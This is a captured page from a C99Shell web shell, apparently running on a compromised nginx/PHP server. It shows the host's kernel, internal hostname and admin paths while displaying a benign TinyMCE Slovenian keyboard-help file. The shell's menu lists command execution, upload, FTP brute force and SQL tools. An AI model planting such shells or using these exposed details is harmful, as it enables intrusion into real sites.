!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/admin/assets/vendor/tinymce/plugins/help/js/i18n/keynav/   drwxr-xr-x
Free 30.57 GB of 49.93 GB (61.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sl_SI.js (4.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
tinymce.Resource.add('tinymce.html-i18n.help-keynav.sl_SI',
'<h1>Začetek krmarjenja s tipkovnico</h1>\n' +
  '\n' +
  '<dl>\n' +
  '  <dt>Fokus na menijsko vrstico</dt>\n' +
  '  <dd>Windows ali Linux: Alt + F9</dd>\n' +
  '  <dd>macOS: &#x2325;F9</dd>\n' +
  '  <dt>Fokus na orodno vrstico</dt>\n' +
  '  <dd>Windows ali Linux: Alt + F10</dd>\n' +
  '  <dd>macOS: &#x2325;F10</dd>\n' +
  '  <dt>Fokus na nogo</dt>\n' +
  '  <dd>Windows ali Linux: Alt + F11</dd>\n' +
  '  <dd>macOS: &#x2325;F11</dd>\n' +
  '  <dt>Fokus na kontekstualno orodno vrstico</dt>\n' +
  '  <dd>Windows, Linux ali macOS: Ctrl + F9\n' +
  '</dl>\n' +
  '\n' +
  '<p>Krmarjenje se bo začelo s prvim elementom uporabniškega vmesnika, ki bo izpostavljena ali podčrtan, če gre za prvi element na\n' +
  '  poti do elementa noge.</p>\n' +
  '\n' +
  '<h1>Krmarjenje med razdelki uporabniškega vmesnika</h1>\n' +
  '\n' +
  '<p>Če se želite pomakniti z enega dela uporabniškega vmesnika na naslednjega, pritisnite <strong>tabulatorko</strong>.</p>\n' +
  '\n' +
  '<p>Če se želite pomakniti z enega dela uporabniškega vmesnika na prejšnjega, pritisnite <strong>shift + tabulatorko</strong>.</p>\n' +
  '\n' +
  '<p>Zaporedje teh razdelkov uporabniškega vmesnika, ko pritiskate <strong>tabulatorko</strong>, je:\n' +
  '\n' +
  '<ol>\n' +
  '  <li>Menijska vrstica</li>\n' +
  '  <li>Posamezne skupine orodne vrstice</li>\n' +
  '  <li>Stranska vrstica</li>\n' +
  '  <li>Pod do elementa v nogi</li>\n' +
  '  <li>Gumb za preklop štetja besed v nogi</li>\n' +
  '  <li>Povezava do blagovne znamke v nogi</li>\n' +
  '  <li>Ročaj za spreminjanje velikosti urejevalnika v nogi</li>\n' +
  '</ol>\n' +
  '\n' +
  '<p>Če razdelek uporabniškega vmesnika ni prisoten, je preskočen.</p>\n' +
  '\n' +
  '<p>Če ima noga fokus za krmarjenje s tipkovnico in ni vidne stranske vrstice, s pritiskom na <strong>shift + tabulatorko</strong>\n' +
  '  fokus premaknete na prvo skupino orodne vrstice, ne zadnjo.\n' +
  '\n' +
  '<h1>Krmarjenje v razdelkih uporabniškega vmesnika</h1>\n' +
  '\n' +
  '<p>Če se želite premakniti z enega elementa uporabniškega vmesnika na naslednjega, pritisnite ustrezno <strong>puščično</strong> tipko.</p>\n' +
  '\n' +
  '<p><strong>Leva</strong> in <strong>desna</strong> puščična tipka</p>\n' +
  '\n' +
  '<ul>\n' +
  '  <li>omogočata premikanje med meniji v menijski vrstici.</li>\n' +
  '  <li>odpreta podmeni v meniju.</li>\n' +
  '  <li>omogočata premikanje med gumbi v skupini orodne vrstice.</li>\n' +
  '  <li>omogočata premikanje med elementi na poti do elementov noge.</li>\n' +
  '</ul>\n' +
  '\n' +
  '<p><strong>Spodnja</strong> in <strong>zgornja</strong> puščična tipka\n' +
  '\n' +
  '<ul>\n' +
  '  <li>omogočata premikanje med elementi menija.</li>\n' +
  '  <li>omogočata premikanje med elementi v pojavnem meniju orodne vrstice.</li>\n' +
  '</ul>\n' +
  '\n' +
  '<p><strong>Puščične</strong> tipke omogočajo kroženje znotraj razdelka uporabniškega vmesnika, na katerem je fokus.</p>\n' +
  '\n' +
  '<p>Če želite zapreti odprt meni, podmeni ali pojavni meni, pritisnite tipko <strong>Esc</strong>.\n' +
  '\n' +
  '<p>Če je trenutni fokus na »vrhu« določenega razdelka uporabniškega vmesnika, s pritiskom tipke <strong>Esc</strong> zaprete\n' +
  '  tudi celotno krmarjenje s tipkovnico.</p>\n' +
  '\n' +
  '<h1>Izvajanje menijskega elementa ali gumba orodne vrstice</h1>\n' +
  '\n' +
  '<p>Ko je označen želeni menijski element ali orodja vrstica, pritisnite <strong>vračalko</strong>, <strong>Enter</strong>\n' +
  '  ali <strong>preslednico</strong>, da izvedete element.\n' +
  '\n' +
  '<h1>Krmarjenje po pogovornih oknih brez zavihkov</h1>\n' +
  '\n' +
  '<p>Ko odprete pogovorno okno brez zavihkov, ima fokus prva interaktivna komponenta.</p>\n' +
  '\n' +
  '<p>Med interaktivnimi komponentami pogovornega okna se premikate s pritiskom <strong>tabulatorke</strong> ali kombinacije tipke <strong>shift + tabulatorke</strong>.</p>\n' +
  '\n' +
  '<h1>Krmarjenje po pogovornih oknih z zavihki</h1>\n' +
  '\n' +
  '<p>Ko odprete pogovorno okno z zavihki, ima fokus prvi gumb v meniju zavihka.</p>\n' +
  '\n' +
  '<p>Med interaktivnimi komponentami tega zavihka pogovornega okna se premikate s pritiskom <strong>tabulatorke</strong> ali\n' +
  '  kombinacije tipke <strong>shift + tabulatorke</strong>.</p>\n' +
  '\n' +
  '<p>Na drug zavihek pogovornega okna preklopite tako, da fokus prestavite na meni zavihka in nato pritisnete ustrezno <strong>puščično</strong>\n' +
  '  tipko, da se pomaknete med razpoložljivimi zavihki.</p>\n');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0031 ]--